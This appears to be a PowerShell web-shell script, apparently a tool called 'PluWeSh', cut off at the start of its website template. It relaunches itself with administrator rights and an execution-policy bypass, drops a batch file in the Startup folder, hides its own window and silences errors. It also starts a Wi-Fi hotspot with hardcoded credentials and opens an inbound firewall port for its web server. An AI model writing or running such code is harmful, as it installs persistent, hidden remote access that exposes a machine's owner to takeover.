# Imagined by w01f https://w01f.fr/ Thank you :) #> # Run as administrator if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs; exit } $ds = [Environment]::GetFolderPath("Startup"); $Wsh = New-Object -comObject WScript.Shell $sct = $Wsh.CreateShortcut("./config.ps1") $sct.TargetPath = "$ds" $sct.Save() $content = 'start notepad.exe'| Out-File -FilePath $ds\opennotepad.bat Add-Type -AssemblyName System.Web $t = '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);' add-type -name win -member $t -namespace native [native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0) $configuration = new-object Windows.Networking.NetworkOperators.NetworkOperatorTetheringAccessPointConfiguration # ======================================= configuration: ======================================= # Webserver port $port = 1338 # Webserver URL $url = "http://*:$($port)/" <# SSID for hotspot name The SSID is encoded using the Microsoft code page for the system's default locale. This SSID may appear differently in the Windows network selection UI on a system that uses a different system locale. It is highly recommended that you set the value using characters from the standard ASCII printable character set to avoid any cross-locale inconsistencies. #> $configuration.Ssid = "PluWeSh" # Passphrase (As detailed in the 802.11 specification, a passphrase must contain between 8 and 63 characters in the standard ASCII printable character set.) $configuration.Passphrase = "pluweshpass" # Wifi band (GHz) <# FIELDS Auto -> 0 Specifies that the WiFi adapter is free to choose any band per internal logic. FiveGigahertz -> 2 Specifies that the WiFi adapter uses only the 5 GHz band. TwoPointFourGigahertz -> 1 Specifies that the WiFi adapter uses only the 2.4 GHz band. #> $configuration.Band = 0 # ============================================================================================== # ======================================== Access Point: ======================================= try { Add-Type -AssemblyName System.Runtime.WindowsRuntime $asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() | ? { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' })[0] Function Await($WinRtTask, $ResultType) { $asTask = $asTaskGeneric.MakeGenericMethod($ResultType) $netTask = $asTask.Invoke($null, @($WinRtTask)) $netTask.Wait(-1) | Out-Null } Function AwaitAction($WinRtAction) { $asTask = ([System.WindowsRuntimeSystemExtensions].GetMethods() | ? { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and !$_.IsGenericMethod })[0] $netTask = $asTask.Invoke($null, @($WinRtAction)) $netTask.Wait(-1) | Out-Null } $connectionProfile = [Windows.Networking.Connectivity.NetworkInformation,Windows.Networking.Connectivity,ContentType=WindowsRuntime]::GetInternetConnectionProfile() $tetheringManager = [Windows.Networking.NetworkOperators.NetworkOperatorTetheringManager,Windows.Networking.NetworkOperators,ContentType=WindowsRuntime]::CreateFromConnectionProfile($connectionProfile) # Use above configuration for the new AP AwaitAction ($tetheringManager.ConfigureAccessPointAsync($configuration)) # Start AP Await ($tetheringManager.StartTetheringAsync()) ([Windows.Networking.NetworkOperators.NetworkOperatorTetheringOperationResult]) } catch { # Errors... # Silence. } # ============================================================================================== # Add Firewall rule (this needs admin rights) # This is needed to access the web server from another device in the LAN netsh advfirewall firewall add rule name="$($port) ps Server" dir=in action=allow protocol=TCP localport=$($port) # ============================================= Website: ======================================= $template = @'